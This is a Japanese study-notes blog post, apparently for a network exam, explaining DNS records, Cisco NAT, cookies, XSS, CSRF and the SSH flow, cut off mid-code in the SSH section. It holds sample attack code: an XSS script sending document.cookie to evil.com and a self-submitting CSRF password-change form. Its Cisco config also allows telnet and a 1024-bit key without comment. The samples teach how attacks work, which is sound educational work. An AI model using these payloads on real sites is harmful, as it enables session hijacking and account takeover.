<span class="line"><span style="color: #F8F8F2">        IN  NS   ns.example.jp.</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  MX   10 mail.example.jp.</span></span>
<span class="line"><span style="color: #F8F8F2">ns      IN  A    100.α.β.1</span></span>
<span class="line"><span style="color: #F8F8F2">ecsv    IN  A    (省略)</span></span>
<span class="line"><span style="color: #F8F8F2">mail    IN  A    100.α.β.3</span></span>
<span class="line"><span style="color: #F8F8F2">@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  NS   ns.y-sha.example.lan.</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  MX   10 mail.y-sha.example.lan.</span></span>
<span class="line"><span style="color: #F8F8F2">ns      IN  A    192.168.1.1</span></span>
<span class="line"><span style="color: #F8F8F2">ecsv    IN  A    (省略)</span></span>
<span class="line"><span style="color: #F8F8F2">mail    IN  A    192.168.1.3</span></span></code></pre></div>



<figure class="wp-block-image size-full"><img decoding="async" width="540" height="45" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-93.png" alt="" class="wp-image-8265" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-93.png 540w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-93-300x25.png 300w" sizes="(max-width: 540px) 100vw, 540px" /></figure>



<p class="wp-block-paragraph">では、ここでは例を使いながらDNSのフローを確認していこう！</p>



<h4 class="wp-block-heading"><span id="toc27">▼インターネット側ユーザがhttps://ecsv.example.jpにアクセスする場合</span></h4>



<p class="wp-block-paragraph">１．ルート<br>　まずはルートに問い合わせ、そこから次に.jpに関するNSレコードとGlueレコード（Aレコード）をもらう<br>２．.jp権威DNS<br>　　次に.jp権威DNSに問い合わせ、そこから.example.jpに関するNSレコードとGlueレコード（Aレコード）をもらう<br>３．Y社の.example.jpにアクセスしecsv.example.jpのAレコードをもらう<br>　ecsv.example.jp.はY社DNSが管理しているので、そのAレコードをレスポンスしてあげる</p>



<h4 class="wp-block-heading"><span id="toc28">▼インターネット側ユーザがY社メールサーバにへ送信する場合</span></h4>



<p class="wp-block-paragraph"><strong>１．MXレコードの取得<br></strong><span class="fz-16px">　Y社にメールを送信したい場合、送信側はまずはY社ドメインに対するMXレコードを取得する。<br>　→そうすると、Y社側のメールサーバのホスト名が判明する<br></span><strong>２．メールサーバの名前解決<br></strong><span class="fz-16px">　手順１でもらったメールサーバのホスト名を名前解決する<br></span><strong>３．メール送信<br></strong><span class="fz-16px">　２で得たIPアドレス宛てにメールパケットを送信する</span></p>



<h4 class="wp-block-heading"><span id="toc29">▼内部からhttps://ecsv.y-sha.example.lan/にアクセスする場合</span></h4>



<p class="wp-block-paragraph"><strong>１．運用PCには最初からDNSサーバが登録されている<br></strong><span class="fz-16px">　運用PCのネットワーク設定（IP設定やDHCP）には最初から参照先DNS＝DMZのDNSサーバ（192.168.1.1）が登録されている<br></span><strong>２．DNSサーバに問い合わせる<br></strong><span class="fz-16px">　ecsv.y-sha.example.lanのAレコードをDNSサーバに問い合わせる</span><br><strong>３．Aレコードの応答<br></strong><span class="fz-16px">　DMZのDNSサーバは自身が保持するゾーン情報（図2の項番11）を検索する。<br>　→該当レコードが見つかるため、外部に一切問い合わせることなく、その場で直接回答を返す</span></p>



<h4 class="wp-block-heading"><span id="toc30">▼内部からインターネット上のドメインの名前解決</span></h4>



<p class="wp-block-paragraph"><strong>１．ユーザがFQDN（例：google.com.）をDNSに問い合わせる<br>２．DNSは自分の管理下か否かを判断する<br></strong>　管理下であれば→レコードを返す<br>　管理下でなければ→ルートから順番に外部のDNSに反復問い合わせをする</p>



<p class="wp-block-paragraph">つまり、Y社のDMZにあるDNSサーバは権威DNSであると同時にキャッシュDNSサーバでもあるということ。</p>



<h3 class="wp-block-heading"><span id="toc31">Q.なんでNSレコードはあるの？</span></h3>



<p class="wp-block-paragraph">DNSのフローを確認すると、上位DNSサーバが1つ下のNSレコードとAレコード（Glue）を教えてくれる。つまり、1つ下の権威DNSではNSレコードいらなくね？だって上位DNSが既にユーザに当該DNSサーバのホスト名を教えちゃってるんだから。。。それなのになぜ当該DNSサーバでもNSレコードを準備しておくの？不要では？</p>



<p class="wp-block-paragraph">A.「親ゾーンから教えてもらったから、もう権威DNSにNSレコードを聞く必要がない」と思われがちだが、実際には以下のような場面で権威DNSへNSレコードが問い合わせられている。</p>



<ol start="1" class="wp-block-list">
<li><strong><code>dig example.jp NS</code> や <code>nslookup -type=NX example.jp</code> を実行したとき</strong> <br>コマンドで直接ドメインのNSレコードを調べるとき、キャッシュDNSは権威DNSサーバーへ直接「NSレコードをちょうだい」と問い合わせに行く。</li>



<li><strong>キャッシュDNSが知識を「最新化」するとき</strong> <br>キャッシュDNSは、親ゾーンから聞いたNS情報（委任情報）で権威DNSに辿り着いたあと、「念のため、お前（権威DNS）自身が持っている正しく最新のNSレコードを教えて」と確認し、自分のキャッシュを上書き更新する</li>



<li><strong>RFCのルール</strong><br>DNSの基本仕様を定めた規格（RFC 1034 / 1035）において、「すべてのゾーンファイルの頂点（@）には、必ずSOAレコードと1つ以上のNSレコードを記述しなければならない（MUST）」と厳密にルール化されている</li>
</ol>



<h3 class="wp-block-heading"><span id="toc32">Q.SOAレコードはどうやって見るの？</span></h3>



<p class="wp-block-paragraph">SOA（StartOfAuthority）レコードは、そのゾーン（ドメインの管理領域）における「管理責任者の情報」と「プライマリDNS・セカンダリDNS間での同期ルール（ゾーン転送ルール）」を定義するヘッダー情報。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Markdown</span><span role="button" tabindex="0" data-code="@ IN SOA ns.example.jp. hostmaster.example.jp. (
        2026092001 ; Serial (シリアル番号)
        3600       ; Refresh (更新確認の間隔)
        900        ; Retry   (再試行までの待ち時間)
        604800     ; Expire  (データの有効期限)
        86400      ) ; Minimum / Negative Cache TTL (存在しない情報の保持時間)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">@ IN SOA ns.example.jp. hostmaster.example.jp. (</span></span>
<span class="line"><span style="color: #F8F8F2">        2026092001 ; Serial (シリアル番号)</span></span>
<span class="line"><span style="color: #F8F8F2">        3600       ; Refresh (更新確認の間隔)</span></span>
<span class="line"><span style="color: #F8F8F2">        900        ; Retry   (再試行までの待ち時間)</span></span>
<span class="line"><span style="color: #F8F8F2">        604800     ; Expire  (データの有効期限)</span></span>
<span class="line"><span style="color: #F8F8F2">        86400      ) ; Minimum / Negative Cache TTL (存在しない情報の保持時間)</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong><code>ns.example.jp.</code>（プライマリDNSサーバー）</strong></p>



<ul class="wp-block-list">
<li><strong>意味</strong>: このゾーンのマスターデータ（元データ）を保持している<strong>主DNSサーバー（マスター/プライマリDNS）のFQDN</strong></li>
</ul>



<p class="wp-block-paragraph"><strong><code>hostmaster.example.jp.</code>（管理者メールアドレス）</strong></p>



<ul class="wp-block-list">
<li><strong>意味</strong>: このゾーンの<strong>管理者の連絡先メールアドレス</strong>。</li>



<li><strong>ポイント</strong>: メールアドレスの <code>@</code> はDNSのゾーンファイルにおいて特別な意味（ゾーン名自体を表すシンボル）を持つため、最初の <code>.</code>（ドット）を <code>@</code> に読み替えるルールになっている。つまり、これは <strong><code>hostmaster@example.jp</code></strong> を表している。</li>
</ul>



<h3 class="wp-block-heading"><span id="toc33">p.13 表１を実現するためのNATコマンドは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="693" height="204" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-94.png" alt="" class="wp-image-8266" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-94.png 693w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-94-300x88.png 300w" sizes="(max-width: 693px) 100vw, 693px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="640" height="420" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-95.png" alt="" class="wp-image-8267" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-95.png 640w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-95-300x197.png 300w" sizes="(max-width: 640px) 100vw, 640px" /></figure>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="#DMZ側（G0/1）: ip nat inside（内側ネットワークと定義）
#インターネット側（G0/0）: ip nat outside（外側ネットワークと定義）
ip nat inside source static tcp 192.168.1.1 53 100.α.β.1 53
ip nat inside source static udp 192.168.1.1 53 100.α.β.1 53
ip nat inside source static tcp 192.168.1.2 443 100.α.β.2 443
ip nat inside source static tcp 192.168.1.3 25 100.α.β.3 25

interface GigabitEthernet0/0
 description Internet-Side
 ip address 100.α.β.254 255.255.255.0
 ip nat outside
 
interface GigabitEthernet0/1
 description DMZ-Side
 ip address 192.168.1.254 255.255.255.0
 ip nat inside" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#DMZ側（G0/1）: ip nat inside（内側ネットワークと定義）</span></span>
<span class="line"><span style="color: #88846F">#インターネット側（G0/0）: ip nat outside（外側ネットワークと定義）</span></span>
<span class="line"><span style="color: #E6DB74">ip nat inside source static tcp 192.168.1.1 53 100.α.β.1 53</span></span>
<span class="line"><span style="color: #E6DB74">ip nat inside source static udp 192.168.1.1 53 100.α.β.1 53</span></span>
<span class="line"><span style="color: #E6DB74">ip nat inside source static tcp 192.168.1.2 443 100.α.β.2 443</span></span>
<span class="line"><span style="color: #E6DB74">ip nat inside source static tcp 192.168.1.3 25 100.α.β.3 25</span></span>
<span class="line"></span>
<span class="line"><span style="color: #E6DB74">interface GigabitEthernet0/0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">description Internet-Side</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip address 100.α.β.254 255.255.255.0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip nat outside</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #E6DB74">interface GigabitEthernet0/1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">description DMZ-Side</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip address 192.168.1.254 255.255.255.0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip nat inside</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc34">p.13 Cookie</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="675" height="54" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-96.png" alt="" class="wp-image-8268" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-96.png 675w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-96-300x24.png 300w" sizes="(max-width: 675px) 100vw, 675px" /></figure>



<p class="wp-block-paragraph">HTTPは本来ステートレスなプロトコルだがCookieを使うことでステートフルとして扱うことができる。</p>



<p class="wp-block-paragraph"><strong>1. 初回アクセス時（認証・セッション発行）</strong><br>　ユーザーがログイン画面でID/パスワードを送信して認証が成功すると、Webサーバー側でランダムな<span class="bold-blue">セッションID</span>が生成される。</p>



<ul class="wp-block-list">
<li><strong>Webサーバー </strong>→ <strong>Webブラウザ（応答）</strong>
<ul class="wp-block-list">
<li>HTTPレスポンスヘッダーの <span class="bold-blue"><strong><code>Set-Cookie</code></strong> フィールド</span>にセッションIDを入れて返す。</li>



<li><code>Set-Cookie: PHPSESSID=abc123xyz...</code></li>
</ul>
</li>
</ul>



<p class="wp-block-paragraph"><strong>2. ブラウザによる保存</strong><br>　Webブラウザはレスポンスの <code>Set-Cookie</code> を見ると、指示されたセッションIDを自身のローカル記憶領域（Cookieストレージ）に保存。</p>



<p class="wp-block-paragraph"><strong>3. 2回目以降のアクセス（状態の維持）</strong><br>　ブラウザは以降同じWebサイトにリクエストを送る際、保存してあるセッションIDを自動的に引き出してヘッダーに付与する。</p>



<ul class="wp-block-list">
<li><strong>Webブラウザ</strong> →<strong> Webサーバー（要求）</strong>
<ul class="wp-block-list">
<li>HTTPリクエストヘッダーの <span class="bold-blue"><strong><code>Cookie</code></strong> フィールド</span>にセッションIDを入れて送信します。</li>



<li><code>Cookie: PHPSESSID=abc123xyz...</code></li>
</ul>
</li>
</ul>



<p class="wp-block-paragraph"><strong>4. サーバー側での識別（擬似ステートフル）</strong><br>　Webサーバーは届いた <code>Cookie</code> ヘッダーのセッションIDを見て、自身のメモリやDBにあるセッション情報と照合する。 「あ、このセッションIDはさっきログインしたAさんだ」と認識できるため、ページを遷移してもログイン状態を維持（ステートフル化）できる。</p>



<h3 class="wp-block-heading"><span id="toc35">Q.Cookieの「セキュリティ属性」には何がある？</span></h3>



<p class="wp-block-paragraph"><code>Set-Cookie</code> に付与するセキュリティ属性を3つ押さえておくとさらに知識が確実になる。</p>



<ul class="wp-block-list">
<li><strong><code>Secure</code> 属性</strong>
<ul class="wp-block-list">
<li><strong>効果</strong>: <span class="bold-blue">HTTPS通信のときだけ</span>Cookieを送信させる（HTTPのときは送信しない）。</li>



<li><strong>目的</strong>: 盗聴（盗み見）によるセッションハイジャックを防ぐ。</li>
</ul>
</li>



<li><strong><code>HttpOnly</code> 属性</strong>
<ul class="wp-block-list">
<li><strong>効果</strong>: <span class="bold-blue">JavaScript</span>などのスクリプトからCookieへのアクセス（<code>document.cookie</code>）を禁止する。</li>



<li><strong>目的</strong>: <strong><span class="bold-blue">XSS</span></strong>（クロスサイトスクリプティング）攻撃によって悪意ある第三者にセッションIDを盗まれるのを防ぐ。</li>
</ul>
</li>



<li><strong><code>SameSite</code> 属性</strong>
<ul class="wp-block-list">
<li><strong>効果</strong>: <span class="bold-blue">他のサイトから</span>のリンクやフォーム送信時にCookieを送信するか制御する（<code>Strict</code> / <code>Lax</code> / <code>None</code>）。</li>



<li><strong>目的</strong>: <span class="bold-blue">CSRF</span>（クロスサイトリクエストフォージェリ）攻撃を防ぐ。</li>
</ul>
</li>
</ul>



<h3 class="wp-block-heading"><span id="toc36">Q.XSS（クロスサイトスクリプティング）って何？</span></h3>



<p class="wp-block-paragraph"><span class="blue">Webサイトの脆弱性</span>を突いて、アクセスしたユーザーのブラウザ上で悪意のある<span class="blue">JavaScriptを実行</span>させる攻撃。</p>



<h4 class="wp-block-heading"><span id="toc37">▼XSSのフロー</span></h4>



<p class="wp-block-paragraph">１．攻撃者が、掲示板などの入力フォームに以下のようなJavaScriptコードを投稿</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">HTML</span><span role="button" tabindex="0" data-code="&lt;script&gt;
  // 被害者のCookieを奪って攻撃者のサーバーに送信するコード
  location.href = 'https://evil.com/steal?cookie=' + document.cookie;
&lt;/script&gt;" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">&lt;</span><span style="color: #F92672">script</span><span style="color: #F8F8F2">&gt;</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #88846F">// 被害者のCookieを奪って攻撃者のサーバーに送信するコード</span></span>
<span class="line"><span style="color: #F8F8F2">  location.href </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&#39;https://evil.com/steal?cookie=&#39;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> document.cookie;</span></span>
<span class="line"><span style="color: #F8F8F2">&lt;/</span><span style="color: #F92672">script</span><span style="color: #F8F8F2">&gt;</span></span></code></pre></div>



<p class="wp-block-paragraph">２．一般のユーザー（被害者）がその掲示板ページを開く。<br>３．被害者のブラウザは、それを「サイトの正常なコード」だと勘違いしてJavaScriptを実行してしまう。<br>４．結果として、被害者のセッションID（Cookie）が攻撃者に送信されて奪われる。</p>



<h4 class="wp-block-heading"><span id="toc38">Q.HttpOnlyをすると正規のサービスに支障が出るのでは？</span></h4>



<p class="wp-block-paragraph">Q.HttpOnlyをするとXSSの対策になる。これは不正なJavaScriptコードからCookieを使わせないからである。しかし、これをしたら正規のサービス側がCookieを使おうとした場合もブロックされてしまうのでは？そしたらステートフルな通信が実現しないのでは？</p>



<p class="wp-block-paragraph">A.WebブラウザとWebサーバーの間でCookieをやり取りしているのは、JavaScriptではなく「ブラウザそのもの（HTTP通信の機能）」。</p>



<ol start="1" class="wp-block-list">
<li>サーバーが <code>Set-Cookie: PHPSESSID=12345</code> を返す。</li>



<li>ブラウザ本体がそれを自動で記憶する。</li>



<li>次回アクセス時、ブラウザ本体が自動的に <code>Cookie: PHPSESSID=12345</code> ヘッダーを付けて送信する。</li>
</ol>



<p class="wp-block-paragraph">この裏側の自動やり取りに、JavaScriptは1行も挟まっていないため、HttpOnlyを使ってもステートフルを維持できる。</p>



<h4 class="wp-block-heading"><span id="toc39">Q.XSSによってセッションIDが奪われたらどうなるの？</span></h4>



<p class="wp-block-paragraph">Q.XSSによってセッションIDが奪われることは理解できたが、奪われたことによって何が起きるのかがいまいちわかっていない。。。何が起きるの？</p>



<p class="wp-block-paragraph">A.Webサーバーは、リクエストが来たときに「正しいセッションIDが付いているか」だけで本人かどうかを識別している。IDやパスワードを毎回確認しているわけではない。そのため、攻撃者があなたのセッションIDを手に入れて自分のブラウザにセットしてアクセスすると、Webサーバーは「あ、ログイン済みの本人（あなた）が操作しているな」と完全に勘違いする。</p>



<p class="wp-block-paragraph">パスワードを知られなくても、あなたがログイン後にできる操作は<strong>すべて</strong>攻撃者にもできてしまう。</p>



<ul class="wp-block-list">
<li><strong>個人情報の閲覧・悪用</strong>：当該サイト内に登録された氏名、住所、電話番号、クレジットカード情報（下数桁や登録情報）、購入履歴などの閲覧</li>



<li><strong>不正な処理の実行</strong>：
<ul class="wp-block-list">
<li>当該サイトがECサイトの場合は勝手に商品を注文し、送付先を攻撃者の住所にする</li>



<li>当該サイトがSNSや掲示板の場合、本人になりすまして不正な投稿やダイレクトメッセージを送る</li>



<li>当該サイトがネットバンキングの場合、不正送金を行う</li>
</ul>
</li>



<li><strong>アカウントの完全な奪取</strong>：
<ul class="wp-block-list">
<li>登録メールアドレスやパスワードを攻撃者のものに変更し、本来のユーザーを締め出す</li>
</ul>
</li>
</ul>



<h3 class="wp-block-heading"><span id="toc40">Q.CSRF（クロスサイトリクエストフォージェリ）って何？</span></h3>



<p class="wp-block-paragraph">CSRF（Cross-Site Request Forgery：クロスサイトリクエストフォージェリ）は、ログイン状態にあるユーザーのブラウザを悪用し、本人が意図しない「処理のリクエスト（要求）」を偽造して対象サーバーに送信させる攻撃。<span class="blue">XSSとの最大の違いは、攻撃者がセッションIDやパスワードを盗む必要が一切ない</span>という点。</p>



<h4 class="wp-block-heading"><span id="toc41">▼CSRF攻撃のフロー</span></h4>



<p class="wp-block-paragraph"><strong>１．前提条件: <br></strong>　あなたがショッピングサイト（<code>ec-shop.com</code>）にログインしており、ブラウザにログイン状態のCookieが保持されている。<br><strong>２．罠サイトへの誘導: <br></strong>ログインした状態のまま、攻撃者から届いた「お買い得情報！」というメールのリンクをクリックし、攻撃者の罠サイト（<code>evil.com</code>）を開いてしまう。<br><strong>３．勝手なリクエスト送信: <br></strong>罠サイトの背景には、以下のような見えないフォームと自動実行スクリプトが仕込まれている。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">HTML</span><span role="button" tabindex="0" data-code="&lt;!-- 罠サイト（evil.com）内に仕込まれたコード --&gt;
&lt;form action=&quot;https://ec-shop.com/change-password&quot; method=&quot;POST&quot;&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;new_password&quot; value=&quot;attacker_password123&quot; /&gt;
&lt;/form&gt;
&lt;script&gt;document.forms[0].submit();&lt;/script&gt;" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">&lt;!-- 罠サイト（evil.com）内に仕込まれたコード --&gt;</span></span>
<span class="line"><span style="color: #F8F8F2">&lt;</span><span style="color: #F92672">form</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">action</span><span style="color: #F8F8F2">=</span><span style="color: #E6DB74">&quot;https://ec-shop.com/change-password&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">method</span><span style="color: #F8F8F2">=</span><span style="color: #E6DB74">&quot;POST&quot;</span><span style="color: #F8F8F2">&gt;</span></span>
<span class="line"><span style="color: #F8F8F2">  &lt;</span><span style="color: #F92672">input</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">type</span><span style="color: #F8F8F2">=</span><span style="color: #E6DB74">&quot;hidden&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">name</span><span style="color: #F8F8F2">=</span><span style="color: #E6DB74">&quot;new_password&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">value</span><span style="color: #F8F8F2">=</span><span style="color: #E6DB74">&quot;attacker_password123&quot;</span><span style="color: #F8F8F2"> /&gt;</span></span>
<span class="line"><span style="color: #F8F8F2">&lt;/</span><span style="color: #F92672">form</span><span style="color: #F8F8F2">&gt;</span></span>
<span class="line"><span style="color: #F8F8F2">&lt;</span><span style="color: #F92672">script</span><span style="color: #F8F8F2">&gt;document.forms[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">].</span><span style="color: #A6E22E">submit</span><span style="color: #F8F8F2">();&lt;/</span><span style="color: #F92672">script</span><span style="color: #F8F8F2">&gt;</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>４．ブラウザによる自動送信: <br></strong>　罠サイトを開いた瞬間にフォームが自動送信されます。宛先は <code>ec-shop.com</code> なので、あなたのブラウザは保持している <code>ec-shop.com</code> のログインCookieを自動で添付して送信。<br>５．<strong>被害の発生</strong>: <br>　<code>ec-shop.com</code> のサーバーは「ログイン済みのあなたからパスワード変更の要求が来た」と判断し、パスワードを <code>attacker_password123</code> に書き換えてしまう。</p>



<h3 class="wp-block-heading"><span id="toc42">p.14 Q.SSHでの接続とは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="733" height="99" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-97.png" alt="" class="wp-image-8270" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-97.png 733w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-97-300x41.png 300w" sizes="(max-width: 733px) 100vw, 733px" /></figure>



<p class="wp-block-paragraph">Q.SSHってなんとなく、「リモート機器に対して暗号化して操作する」みたいな認識はあるけど、いまいちどうやっているのかが分かっていない。。。ということで明確にしていこう！</p>



<p class="wp-block-paragraph">A.では、SSH（SecureShell）の通信フローを確認しながら紐解いていこう</p>



<h4 class="wp-block-heading"><span id="toc43">▼SSHの接続フロー</span></h4>



<p class="wp-block-paragraph">１．<strong>DH鍵交換</strong>：<br>　・クライアントとサーバーがそれぞれの使い捨ての「一時鍵（秘密鍵と、秘密鍵をベースにした公開鍵）」を使ってDHを実行。<br>　・DHにより互いに同じ共通鍵（セッション鍵）を得る。<br><strong>２．暗号化の開始：<br></strong>　・得られた共通鍵で、以降の通信をすべて暗号化する。<br><strong>３．認証要求：<br></strong>　・暗号化された通信内で「ユーザーXでログインしたい」と要求する。<br>４．<strong>チャレンジ送信</strong>：<br>　・サーバーが「今回のセッションID」などのデータを送る。<br>５．<strong>署名作成</strong>：<br>　・クライアントが自身の「長期的秘密鍵」でデータに署名し、暗号化して返す。<br>　・ここで使う秘密鍵はサーバにも事前に登録されている公開鍵と紐づいた秘密鍵である。<br>６．<strong>署名検証</strong>：<br>　・サーバーが登録済みの「長期的公開鍵」で署名を検証し、本人と確認できればログイン許可。 <br>７．<strong>以降の通信</strong>：<br>　・最初にDHで作った共通鍵のまま、暗号化してシェル操作などを行う。</p>



<h4 class="wp-block-heading"><span id="toc44">▼SSHのコマンド</span></h4>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">PowerShell</span><span role="button" tabindex="0" data-code="en
conf t
hostname ホスト名
ip domain name ドメイン名
ip ssh version 2
crypto key generate rsa modulus 1024

line vty 0 4
login local
transport input telnet ssh

#接続時（PC側にて）
